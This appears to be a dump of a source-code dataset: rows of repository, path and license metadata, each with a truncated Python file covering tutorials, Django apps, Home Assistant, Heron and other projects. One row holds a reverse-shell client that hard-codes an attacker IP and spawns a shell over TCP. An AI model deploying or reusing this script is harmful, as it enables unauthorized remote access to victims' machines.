repo_name stringlengths 5 92 | path stringlengths 4 232 | copies stringclasses 19
values | size stringlengths 4 7 | content stringlengths 721 1.04M | license stringclasses 15
values | hash int64 -9,223,277,421,539,062,000 9,223,102,107B | line_mean float64 6.51 99.9 | line_max int64 15 997 | alpha_frac float64 0.25 0.97 | autogenerated bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|
tchakravarty/PythonExamples | Code/Miscellaneous/distribution_object_graph.py | 1 | 1713 | # ==============================================================================
# purpose: create statistical distribution objects, and find shortest paths
# author:
# created: 6/6/15
# revised:
# comments:
# 1. This is based on the object graph on Wikipedia.
# 2. The idea is to create a graph of the various continuo... | apache-2.0 | 154,036,799,461,104,830 | 30.722222 | 96 | 0.640981 | false |
HybridF5/jacket | jacket/tests/compute/unit/api/openstack/compute/test_block_device_mapping_v1.py | 1 | 17001 | # Copyright (c) 2014 IBM Corp.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | apache-2.0 | -7,537,596,891,134,087,000 | 39.096698 | 80 | 0.593553 | false |
cormoran/RaspberryPi | tests/Others/ultrasonicsensor.py | 1 | 3633 | #!/usr/bin/python
import time
import RPi.GPIO as GPIO
# remember to change the GPIO values below to match your sensors
# GPIO output = the pin that's connected to "Trig" on the sensor
# GPIO input = the pin that's connected to "Echo" on the sensor
def reading(sensor):
# Disable any warning message such as GP... | gpl-2.0 | -2,685,730,067,043,373,600 | 39.366667 | 72 | 0.629783 | false |
smarttang/baseline_testing | plugins/t_varfile_mod.py | 1 | 1129 | #coding:utf-8
import re
import commands
###################################
#
# 测试系统日志是否做了权限限制
#
####################################
class TvarfileMod:
global results,sorce
results=[]
sorce=60
def setBaseline_main(self,baseline_main):
self.baseline_main=baseline_main
def start(self):
print "[*] Checking Tv... | gpl-2.0 | 6,226,643,696,517,116,000 | 26.525 | 125 | 0.624886 | false |
nims11/hostapd.py | config_hostapd.py | 1 | 1849 | #!/usr/bin/env python2.7
from common_methods import exit_script, display_usage, exit_error
import sys, os
import config
import config_gen
def generate_confs():
"""
For each section generate config files if TEMPLATE_CONFIG is present into OUTPUT_CONFIG
Exception for HOSTAPD as it may have many variables which is not ... | mit | 3,153,232,477,062,764,000 | 35.254902 | 118 | 0.667929 | false |
apple/swift-lldb | packages/Python/lldbsuite/test/lang/swift/metatype/TestSwiftMetatype.py | 1 | 1815 | # TestSwiftMetatype.py
#
# This source file is part of the Swift.org open source project
#
# Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors
# Licensed under Apache License v2.0 with Runtime Library Exception
#
# See https://swift.org/LICENSE.txt for license information
# See https://swift.org/CONTRI... | apache-2.0 | -4,033,874,331,155,257,000 | 32 | 80 | 0.639118 | false |
JoseTomasTocino/SiteUp | web/siteup_checker/monitoring/pport.py | 1 | 1113 | import socket
import logging
logger = logging.getLogger("debugging")
def check_port(host, port_number, content=None):
logger.info(u"Port check, host: %s, port: %s, content: '%s'" % (host, port_number, content))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
# connect_ex retur... | gpl-2.0 | -2,188,741,097,909,394,000 | 26.825 | 96 | 0.57053 | false |
JudgeGregg/Redmine-Importer | redmine_ldap.py | 1 | 1337 | #-*- encoding: utf8 -*-
"""Retrieve user id from ldap server."""
import logging
import sys
logging.basicConfig(level=logging.INFO)
LOGGER = logging.getLogger(__name__)
try:
import ldap
except ImportError, exception:
LOGGER.error(str(exception))
sys.exit()
LDAP_SERVER_URL = 'ldap://directory.lvl.intranet'... | gpl-3.0 | -7,550,749,679,225,353,000 | 27.446809 | 74 | 0.624533 | false |
yunjey/pytorch-tutorial | tutorials/02-intermediate/recurrent_neural_network/main.py | 1 | 3536 | import torch
import torch.nn as nn
import torchvision
import torchvision.transforms as transforms
# Device configuration
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
# Hyper-parameters
sequence_length = 28
input_size = 28
hidden_size = 128
num_layers = 2
num_classes = 10
batch_size = 100
nu... | mit | -4,303,049,334,710,658,000 | 33.339806 | 101 | 0.573247 | false |
lopiola/cowboys_ai | src/supervised_learning/network.py | 1 | 2137 | #!/usr/bin/env python
# coding=utf-8
from pybrain.tools.shortcuts import buildNetwork
from pybrain.supervised.trainers import BackpropTrainer
from src.supervised_learning import dataset
from math import sqrt
import cPickle as pickle
def build(input_size, hidden_size, target_size):
return buildNetwork(input_size,... | mit | 3,967,700,485,640,788,000 | 26.050633 | 72 | 0.627515 | false |
stereoboy/object_detection | utils.py | 1 | 1635 | import tensorflow as tf
import numpy as np
from PIL import Image
import os
def maybe_download(directory, filename, url):
print('Try to dwnloaded', url)
if not tf.gfile.Exists(directory):
tf.gfile.MakeDirs(directory)
filepath = os.path.join(directory, filename)
if not tf.gfile.Exists(filepath):
filepath... | mit | -3,746,810,476,708,794,000 | 26.25 | 87 | 0.674618 | false |
dstl/ideaworks | backend/ideaworks/projectsapp/tests/project_tests.py | 1 | 112560 |
# (c) Crown Copyright 2014 Defence Science and Technology Laboratory UK
# Author: Rich Brantingham
import copy
import time
import json
import urlparse
import datetime
from xml.dom.minidom import parseString
from xml.parsers.expat import ExpatError
from django.test import TestCase
from django.core impor... | agpl-3.0 | -8,572,646,595,100,724,000 | 46.206424 | 306 | 0.551759 | false |
baloo/shinken | shinken/objects/businessimpactmodulation.py | 1 | 2434 | #!/usr/bin/env python
#Copyright (C) 2009-2010 :
# Gabes Jean, naparuba@gmail.com
# Gerhard Lausser, Gerhard.Lausser@consol.de
# Gregory Starck, g.starck@gmail.com
# Hartmut Goebel, h.goebel@goebel-consult.de
#
#This file is part of Shinken.
#
#Shinken is free software: you can redistribute it and/or modify... | agpl-3.0 | -5,847,335,771,418,948,000 | 32.805556 | 133 | 0.689811 | false |
kstaniek/version | setup.py | 1 | 1603 | """
Installation script for accelerated upgrade
"""
import codecs
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
from version import get_version
import re
DESCRIPTION = 'Description'
with codecs.open('README.md', 'r', encoding='UTF-8') as readme:
LONG_DESCRIPTION ... | apache-2.0 | 2,586,842,436,941,875,000 | 23.676923 | 88 | 0.636931 | false |
adalke/rdkit | rdkit/Chem/UnitTestGraphDescriptors.2.py | 1 | 24477 | # $Id$
#
# Copyright (C) 2003-2006 Rational Discovery LLC
#
# @@ All Rights Reserved @@
# This file is part of the RDKit.
# The contents are covered by the terms of the BSD license
# which is included in the file license.txt, found at the root
# of the RDKit source tree.
#
"""unit testing code for graph-theoret... | bsd-3-clause | -2,990,828,470,993,036,300 | 30.829649 | 302 | 0.57981 | false |
nortxort/tinybot-rtc | check_user.py | 1 | 3452 |
class CheckUser:
"""
A class to perform various ban checks on a User object.
The checks will be done, against the different ban lists
and other ban rules in the config file.
If a test is True, then the user will be banned.
"""
def __init__(self, tinybot, user, conf):
"""
... | mit | -4,520,653,867,858,702,300 | 28.504274 | 80 | 0.550985 | false |
fraunhoferfokus/fixmycity | api/tasty.py | 1 | 10043 | '''
/*******************************************************************************
*
* Copyright (c) 2015 Fraunhofer FOKUS, All rights reserved.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Sof... | lgpl-3.0 | 2,120,749,673,092,615,000 | 36.755639 | 122 | 0.588967 | false |
cernvm/cvmfs-monitor | cvmfsweb/cvmfsmon/migrations/0001_initial.py | 1 | 4140 | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Stratum'
db.create_table('cvmfsmon_stratum', (
... | bsd-2-clause | 3,032,668,471,992,999,400 | 50.7625 | 170 | 0.595652 | false |
rwspicer/ARDA | arda_db/browser/migrations/0004_auto_20150320_0322.py | 1 | 1718 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('browser', '0003_auto_20150320_0253'),
]
operations = [
migrations.CreateModel(
name='ROnline',
field... | mit | 5,817,100,351,531,621,000 | 36.347826 | 150 | 0.532014 | false |
RobinQuetin/CAIRIS-web | cairis/cairis/ConceptReferencePanel.py | 1 | 2828 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may... | apache-2.0 | -7,756,544,276,121,583,000 | 46.133333 | 191 | 0.762023 | false |
EclipseXuLu/DataHouse | DataHouse/crawler/file_helper.py | 1 | 1669 | import logging
import os
from openpyxl import Workbook
logging.basicConfig(format='%(levelname)s:%(asctime)s:%(message)s \t', level=logging.INFO)
EXCEL_DIR = '/home/lucasx/PycharmProjects/DataHouse/DataSet/'
def write_excel(list_, filename):
mkdirs_if_not_exists(EXCEL_DIR)
wb = Workbook()
ws = wb.acti... | mit | -5,800,700,881,441,562,000 | 35.911111 | 91 | 0.646598 | false |
SusannaMaria/beets | beetsplug/thumbnails.py | 1 | 10439 | # -*- coding: utf-8 -*-
# This file is part of beets.
# Copyright 2016, Bruno Cauet
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the r... | mit | 7,912,181,659,199,033,000 | 34.506803 | 79 | 0.599387 | false |
iulian787/spack | var/spack/repos/builtin/packages/ecp-viz-sdk/package.py | 2 | 1561 | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class EcpVizSdk(BundlePackage):
"""ECP Viz & Analysis SDK"""
homepage = "https://github.com... | lgpl-2.1 | -6,184,281,966,907,562,000 | 39.025641 | 83 | 0.696348 | false |
lechuckcaptain/urlwatch | test/test_handler.py | 1 | 4525 | import sys
from glob import glob
import pycodestyle as pycodestyle
from urlwatch.jobs import UrlJob, JobBase, ShellJob
from urlwatch.storage import UrlsYaml, UrlsTxt
from nose.tools import raises, with_setup
import tempfile
import os
import imp
from lib.urlwatch import storage
from lib.urlwatch.config import BaseCo... | bsd-3-clause | 80,278,206,530,138,000 | 31.092199 | 121 | 0.661215 | false |
prasanna08/oppia | scripts/linters/pylint_extensions_test.py | 1 | 105003 | # coding: utf-8
#
# Copyright 2018 The Oppia Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requi... | apache-2.0 | -8,516,299,864,697,384,000 | 35.07111 | 100 | 0.549699 | false |
kalikaneko/leap_mail | src/leap/mail/imap/messages.py | 1 | 45971 | # -*- coding: utf-8 -*-
# messages.py
# Copyright (C) 2013 LEAP
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Th... | gpl-3.0 | -1,798,522,859,234,019,600 | 32.048886 | 79 | 0.563964 | false |
jieter/django-localflavor | localflavor/au/forms.py | 1 | 4119 | """Australian-specific Form helpers."""
from __future__ import unicode_literals
import re
from django.forms import ValidationError
from django.forms.fields import CharField, RegexField, Select
from django.utils.encoding import force_text
from django.utils.translation import ugettext_lazy as _
from localflavor.compa... | bsd-3-clause | -3,051,444,075,775,757,000 | 30.204545 | 116 | 0.651129 | false |
SentinelWarren/Reverse-Shell | src/reverse_client_tcp_shell.py | 1 | 1196 | import socket # For starting TCP connection
import subprocess # To start the shell in the system
# Attacker IP goes here
ATT_IP = "10.254.141.59"
def connect():
# Creating object soketi
soketi = socket.socket(socket.AF_INE... | gpl-3.0 | -3,769,709,386,116,838,400 | 35.242424 | 126 | 0.51087 | false |
sassoftware/rpath-xmllib | xmllib_test/xmllibtest.py | 1 | 37179 | #
# Copyright (c) SAS Institute Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | apache-2.0 | 6,671,211,518,318,611,000 | 35.810891 | 119 | 0.586353 | false |
keishi/chromium | chrome/test/functional/media/media_seek_perf.py | 1 | 4233 | #!/usr/bin/env python
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Seek performance testing for <video>.
Calculates the short and long seek times for different video formats on
different network... | bsd-3-clause | 229,085,850,465,928,320 | 35.179487 | 77 | 0.636192 | false |
Cobliteam/shelver | shelver/provider/test.py | 1 | 1626 | import logging
from shelver.artifact import Artifact
from shelver.registry import Registry
from shelver.build import Builder
from .base import Provider
logger = logging.getLogger('shelver.provider.test')
class TestArtifact(Artifact):
def __init__(self, id, **kwargs):
super().__init__(**kwargs)
... | mpl-2.0 | -8,799,597,469,075,863,000 | 25.655738 | 69 | 0.615621 | false |
jingxiang-li/kaggle-yelp | archive/preprocess.py | 1 | 1280 | from __future__ import division, absolute_import
from __future__ import print_function, unicode_literals
import pandas as pd
from transfer_features import *
# process training data
biz2label = pd.read_csv("rawdata/train.csv", index_col=0)
photo2biz = pd.read_csv("rawdata/train_photo_to_biz_ids.csv", index_col=0)
biz2... | mit | 8,042,651,720,519,711,000 | 36.647059 | 79 | 0.673438 | false |
lefthand3r/scienceanalyst | get_bearer_token.py | 1 | 1028 | import base64
import ignore
consumer_key = ignore.TWITTER_CONSUMER_KEY
consumer_secret = ignore.TWITTER_CONSUMER_SECRET
access_token = ignore.TWITTER_ACCESS_TOKEN
access_secret = ignore.TWITTER_ACCESS_SECRET
def get_bearer_token(consumer_key, consumer_secret):
# get bearer token for application only requests
... | gpl-3.0 | -4,461,987,115,436,144,000 | 40.12 | 134 | 0.713035 | false |
jaakkojulin/potku | Dialogs/GlobalSettingsDialog.py | 1 | 10692 | # coding=utf-8
'''
Created on 30.4.2013
Updated on 26.8.2013
Potku is a graphical user interface for analyzation and
visualization of measurement data collected from a ToF-ERD
telescope. For physics calculations Potku uses external
analyzation components.
Copyright (C) Jarkko Aalto, Timo Konu, Samuli Kärkkäinen, ... | gpl-2.0 | 4,782,183,714,612,712,000 | 43.533333 | 96 | 0.605913 | false |
sscdotopen/musicwithtaste | tools/dataset.py | 1 | 3138 | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Licensed to Sebastian Schelter (ssc[at]apache.org), who licenses this file
# to You under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apach... | apache-2.0 | 6,709,835,080,681,461,000 | 32.752688 | 105 | 0.695347 | false |
blabla1337/skf-flask | skf/api/checklist/endpoints/checklist_item_delete.py | 1 | 1036 | from flask import request
from flask_restplus import Resource
from skf.api.security import security_headers, validate_privilege
from skf.api.checklist.business import delete_checklist_item
from skf.api.checklist.serializers import message
from skf.api.kb.parsers import authorization
from skf.api.restplus import api
fro... | agpl-3.0 | -673,249,171,624,648,400 | 37.37037 | 90 | 0.714286 | false |
Tonny-Gu/Project-Habrew | HAP-Python/experiment/Hapmgr/hap_main.py | 1 | 1036 | from hap_config_editor import hap_config_editor
import hap_config
import time
import threading
HAP_CE = hap_config_editor()
HAP_List = hap_config.HAP_List
# HAP_List HAP_ID HAP_Name login_time
def register(hap_name, hap_type, val_list=[], func_list=[]):
hap_id = "{0:04d}".format((len(HAP_List) + 1))
HAP_List.a... | gpl-3.0 | -3,517,986,094,328,181,000 | 25.564103 | 83 | 0.588803 | false |
sivaprakashniet/push_pull | p2p/lib/python2.7/site-packages/celery/tests/bin/test_amqp.py | 1 | 4738 | from __future__ import absolute_import
from mock import Mock, patch
from celery.bin.amqp import (
AMQPAdmin,
AMQShell,
dump_message,
amqp,
main,
)
from celery.tests.case import AppCase, WhateverIO
class test_AMQShell(AppCase):
def setup(self):
self.fh = WhateverIO()
self.ad... | bsd-3-clause | 5,444,333,020,539,348,000 | 29.567742 | 68 | 0.606585 | false |
iulian787/spack | var/spack/repos/builtin/packages/orc/package.py | 2 | 1438 | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class Orc(CMakePackage):
"""the smallest, fastest columnar storage for Hadoop
workloads."""
... | lgpl-2.1 | 1,645,949,391,752,511,000 | 32.44186 | 96 | 0.61822 | false |
mtlynch/ndt-e2e-clientworker | client_wrapper/http_server.py | 1 | 7702 | # Copyright 2016 Measurement Lab
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... | apache-2.0 | 6,865,305,335,375,241,000 | 34.330275 | 81 | 0.624253 | false |
MicroMagnum/MicroMagnum | src/magnum/evolver/cvode.py | 1 | 1850 | # Copyright 2012 by the Micromagnum authors.
#
# This file is part of MicroMagnum.
#
# MicroMagnum is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any la... | gpl-3.0 | -6,416,352,454,993,770,000 | 28.365079 | 82 | 0.685405 | false |
Sonblind/orchestra | orchestra/workflow.py | 1 | 8139 | from importlib import import_module
from django.conf import settings
from orchestra.core.errors import InvalidSlugValue
from orchestra.core.errors import SlugUniquenessError
class Workflow():
"""
Workflows represent execution graphs of human and machine steps.
Attributes:
slug (str):
... | apache-2.0 | -6,444,960,388,937,644,000 | 28.067857 | 79 | 0.566654 | false |
Chaparqanatoos/kaggle-knowledge | src/main/python/titanic.py | 1 | 2524 | import pandas as pd
import numpy as np
def pre_process(df):
df['Gender'] = df['Sex'].map({'female': 0, 'male': 1}).astype(int)
median_ages = np.zeros((2, 3))
for i in range(0, 2):
for j in range(0, 3):
median_ages[i, j] = df[(df['Gender'] == i) & (df['Pclass'] == j + 1)][... | apache-2.0 | 3,864,201,086,278,969,000 | 32.210526 | 111 | 0.618859 | false |
rwl/PyCIM | CIM14/CDPSM/Unbalanced/IEC61968/WiresExt/__init__.py | 1 | 2312 | # Copyright (C) 2010-2011 Richard Lincoln
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish... | mit | 5,737,497,561,522,835,000 | 63.222222 | 188 | 0.831315 | false |
yazdan/AmirAccounting | amir/printreport.py | 1 | 35708 | import pygtk
import gtk
import pango
import cairo
import pangocairo
import logging
import math
import utility
from amirconfig import config
class PrintReport:
def __init__(self, content, cols_width, heading=None):
# self.lines_per_page = 24
self.cell_margin = 4
self.line = 2 #the thin... | gpl-3.0 | 1,510,233,238,877,947,600 | 42.230024 | 188 | 0.555142 | false |
abbyssoul/libsolace | conanfile.py | 1 | 2675 | """Conan recipe package for libsolace
"""
from conans import CMake, ConanFile
from conans.errors import ConanInvalidConfiguration
from conans.model.version import Version
class LibsolaceConan(ConanFile):
name = "libsolace"
description = "High performance components for mission critical applications"
licen... | apache-2.0 | 3,942,592,968,079,367,000 | 36.152778 | 186 | 0.634393 | false |
dunkhong/grr | api_client/python/grr_api_client/utils.py | 1 | 6628 | #!/usr/bin/env python
"""Utility functions and classes for GRR API client library."""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
import time
from future.builtins import map
from google.protobuf import wrappers_pb2
from google.protobuf import symbol... | apache-2.0 | -3,259,828,917,412,572,000 | 25.943089 | 77 | 0.724955 | false |
eduvik/django-school-repo | django-school-project/school/tests/test_school.py | 1 | 2760 | from django.test import TestCase
from school.models import Semester, StaffMember, Department, Subject, SchoolClass, Student, Enrolment
from sync.google_admin import GoogleSync
from django.conf import settings
import datetime
#class SchoolTest(TestCase):
class SchoolTest(TestCase):
def setUp(self):
#import ... | agpl-3.0 | -2,396,704,660,212,860,000 | 44.262295 | 112 | 0.483696 | false |
zcold/sefontpy | sefontmap.py | 1 | 23407 | # coding: utf-8
# The MIT License (MIT)
# Copyright (c) 2014 by Shuo Li (contact@shuo.li)
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without li... | mit | -8,668,873,927,178,910,000 | 28.970551 | 96 | 0.594181 | false |
botswana-harvard/getresults-csv | getresults_csv/admin.py | 1 | 1632 | from django.contrib import admin
from edc_base.modeladmin.admin import LimitedAdminInlineMixin
from getresults.admin import admin_site
from .models import ExportHistory, ImportHistory, CsvFormat, CsvField, CsvDictionary
from getresults_csv.forms import CsvDictionaryForm
class CsvFieldAdmin(admin.ModelAdmin):
li... | gpl-2.0 | -5,663,246,594,499,837,000 | 32.306122 | 84 | 0.735294 | false |
protonn/Electrum-Cash | gui/qt/paytoedit.py | 1 | 9510 | #!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including witho... | mit | -1,738,034,398,156,646,700 | 30.078431 | 113 | 0.573817 | false |
scrapinghub/dateparser | dateparser/data/date_translation_data/ksf.py | 1 | 2783 | info = {
"name": "ksf",
"date_order": "DMY",
"january": [
"ŋ1",
"ŋwíí a ntɔ́ntɔ"
],
"february": [
"ŋ2",
"ŋwíí akǝ bɛ́ɛ"
],
"march": [
"ŋ3",
"ŋwíí akǝ ráá"
],
"april": [
"ŋ4",
"ŋwíí akǝ nin"
],
"may": [
"ŋ... | bsd-3-clause | -6,306,315,758,747,220,000 | 14.650888 | 31 | 0.272212 | false |
mppmu/secdec | high_level_tests/box1L_rank4/test/test.py | 1 | 3321 | from __future__ import print_function
from pySecDec.integral_interface import IntegralLibrary
import sympy as sp
import unittest
class CheckLib(unittest.TestCase):
def setUp(self):
# load c++ library
self.lib = IntegralLibrary('../box1L_rank4/box1L_rank4_pylink.so')
self.real_parameters = [... | gpl-3.0 | 7,984,500,369,133,681,000 | 43.28 | 147 | 0.611864 | false |
sternshus/arelle2.7 | svr-2.7/arelle/xlwt/Bitmap.py | 1 | 10392 | # Portions are Copyright (C) 2005 Roman V. Kiseliov
# Portions are Copyright (c) 2004 Evgeny Filatov <fufff@users.sourceforge.net>
# Portions are Copyright (c) 2002-2004 John McNamara (Perl Spreadsheet::WriteExcel)
from arelle.xlwt.BIFFRecords import BiffRecord
from struct import *
def _size_col(sheet, col):
... | apache-2.0 | 6,240,996,760,064,364,000 | 39.27907 | 88 | 0.570439 | false |
ragulpr/wtte-rnn | python/wtte/weibull.py | 1 | 5548 | """
Wrapper for Python Weibull functions
"""
import numpy as np
def cumulative_hazard(t, a, b):
""" Cumulative hazard
:param t: Value
:param a: Alpha
:param b: Beta
:return: `np.power(t / a, b)`
"""
t = np.double(t)
return np.power(t / a, b)
def hazard(t, a, b):
t = np.double(t)... | mit | 3,363,990,892,926,508,500 | 25.293839 | 105 | 0.541637 | false |
mjones01/NEON-Data-Skills | tutorials-in-development/DI-remote-sensing-python/neon_aop_spectral_python_functions_tiled_data/aop_h5refl2array.py | 1 | 3682 | def aop_h5refl2array(refl_filename):
"""read in NEON AOP reflectance hdf5 file, convert to a cleaned reflectance
array and return associated metadata (spatial information and band center
wavelengths)
Parameters
----------
refl_filename : string
reflectance hdf5 file... | agpl-3.0 | -3,099,062,738,407,099,000 | 40.852273 | 141 | 0.660511 | false |
twitter/heron | integration_test/src/python/local_test_runner/main.py | 2 | 5882 | #!/usr/bin/env python3
# -*- encoding: utf-8 -*-
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apach... | apache-2.0 | -6,514,305,771,824,474,000 | 31.677778 | 93 | 0.683101 | false |
mattilyra/gensim | gensim/topic_coherence/text_analysis.py | 1 | 24297 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2013 Radim Rehurek <radimrehurek@seznam.cz>
# Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html
"""This module contains classes for analyzing the texts of a corpus to accumulate
statistical information about word occurrences."""
im... | lgpl-2.1 | -9,207,384,496,336,503,000 | 35.925532 | 114 | 0.619542 | false |
gaolichuang/py-task-framework | nova/manager.py | 1 | 5055 | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010 United States Government as represented by the
# Administrator of the National Aeronautics and Space Administration.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compli... | apache-2.0 | -5,186,284,612,501,895,000 | 37.295455 | 79 | 0.726607 | false |
codefisher/djangopress | djangopress/gallery/admin.py | 1 | 4575 | from .models import GallerySection, Image, GALLERY_SETTINGS, Thumber
from django.contrib import admin
from django import forms
from django.shortcuts import render
from django.http import HttpResponseRedirect
from django.urls import reverse
try:
from tinymce import widgets as tinymce_widgets
except ImportError:
... | mit | -9,221,700,838,383,901,000 | 31.913669 | 114 | 0.60153 | false |
zats/chisel | fblldbobjcruntimehelpers.py | 1 | 3268 | #!/usr/bin/python
# Copyright (c) 2014, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree. An additional grant
# of patent rights can be found in the PATENTS file in the same directory.
import re
im... | bsd-3-clause | 9,142,473,489,079,375,000 | 31.68 | 129 | 0.701652 | false |
yaricom/brainhash | src/experiment_cA4_dt_th_al_ah_bl_mc_signal_7.py | 1 | 1887 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
The experiment with 10 Hz/5Hz, wisp, attention, 70, cA 4, delta, theta, alpha low, alpha high, beta low, batch size = 5 and
multiclass data set (BALANCED) with signal only data
@author: yaric
"""
import experiment as ex
import config
from time import time
n_hidden ... | gpl-3.0 | 8,388,471,490,210,353,000 | 28.968254 | 155 | 0.647059 | false |
DMOJ/site | judge/widgets/pagedown.py | 1 | 3741 | from django.contrib.admin import widgets as admin_widgets
from django.forms.utils import flatatt
from django.template.loader import get_template
from django.utils.encoding import force_text
from django.utils.html import conditional_escape
from judge.widgets.mixins import CompressorWidgetMixin
__all__ = ['PagedownWidg... | agpl-3.0 | -7,868,084,420,352,699,000 | 37.96875 | 111 | 0.615878 | false |
InzamamRahaman/simple-tcp-example | client/TcpClient.py | 1 | 1334 | import socket
class TcpClient(object):
def __init__(self, port, host):
"""
Constructor for TCP Client
:param port: the port that the client is going to try and access on the server
:param host: the host of the sever
"""
self.port = port
self.host = host
... | mit | -5,169,483,261,950,526,000 | 29.318182 | 86 | 0.577211 | false |
keans/lmnotify | lmnotify/session.py | 1 | 3431 | import sys
from abc import ABCMeta, abstractmethod
import requests
from oauthlib.oauth2 import BackendApplicationClient
from requests_oauthlib import OAuth2Session
from .const import CLOUD_URLS
class Session(object):
"""
abstract class as base for sessions
"""
__metaclass__ = ABCMeta
def __init... | mit | -1,433,962,306,390,378,000 | 25.596899 | 79 | 0.583795 | false |
40223226/2015cdbg8_6-22 | wsgi.py | 1 | 39822 | #@+leo-ver=5-thin
#@+node:2014fall.20141212095015.1775: * @file wsgi.py
# coding=utf-8
# 上面的程式內容編碼必須在程式的第一或者第二行才會有作用
################# (1) 模組導入區
# 導入 cherrypy 模組, 為了在 OpenShift 平台上使用 cherrypy 模組, 必須透過 setup.py 安裝
#@@language python
#@@tabwidth -4
#@+<<declarations>>
#@+node:2014fall.20141212095015.1776: ** <<declar... | gpl-3.0 | -6,298,804,478,695,336,000 | 34.762295 | 184 | 0.582627 | false |
raulperula/python_tutorials | tutorial-pyqt/src/example12.py | 1 | 5052 | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'example12.ui'
#
# Created: Sun Jan 18 18:25:33 2015
# by: PyQt4 UI code generator 4.9.1
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except Attri... | gpl-3.0 | 842,008,327,386,751,700 | 60.609756 | 141 | 0.722288 | false |
fbradyirl/home-assistant | homeassistant/components/mystrom/binary_sensor.py | 1 | 2888 | """Support for the myStrom buttons."""
import logging
from homeassistant.components.binary_sensor import DOMAIN, BinarySensorDevice
from homeassistant.components.http import HomeAssistantView
from homeassistant.const import HTTP_UNPROCESSABLE_ENTITY
_LOGGER = logging.getLogger(__name__)
async def async_setup_platfo... | apache-2.0 | 4,502,797,213,050,914,000 | 31.088889 | 88 | 0.611842 | false |
vidursatija/voiceai | loadhardware.py | 1 | 3338 | import os
from subprocess import Popen, PIPE
from typeclassifier import TypeClassifier
class HardwareControl:
def __init__(self):
self.classifier = TypeClassifier("fastText/voiceai-hardware.bin", "fastText/fasttext")
self.backlightDir = "/sys/class/backlight/acpi_video0/"
self.maxBrightnessDir = self.backli... | apache-2.0 | -5,138,109,972,561,166,000 | 27.05042 | 107 | 0.64979 | false |
ivmech/iviny-scope | lib/xlsxwriter/test/worksheet/test_extract_filter_tokens.py | 1 | 2758 | ###############################################################################
#
# Tests for XlsxWriter.
#
# Copyright (c), 2013, John McNamara, jmcnamara@cpan.org
#
import unittest
from ...compatibility import StringIO
from ...worksheet import Worksheet
class TestExtractFilterTokens(unittest.TestCase):
"""
... | gpl-3.0 | -3,116,406,206,606,398,500 | 20.379845 | 79 | 0.273387 | false |
xSAVIKx/SHUP-algorithm | algorithm/util.py | 1 | 16299 | __author__ = 'Iurii Sergiichuk <iurii.sergiichuk@gmail.com>'
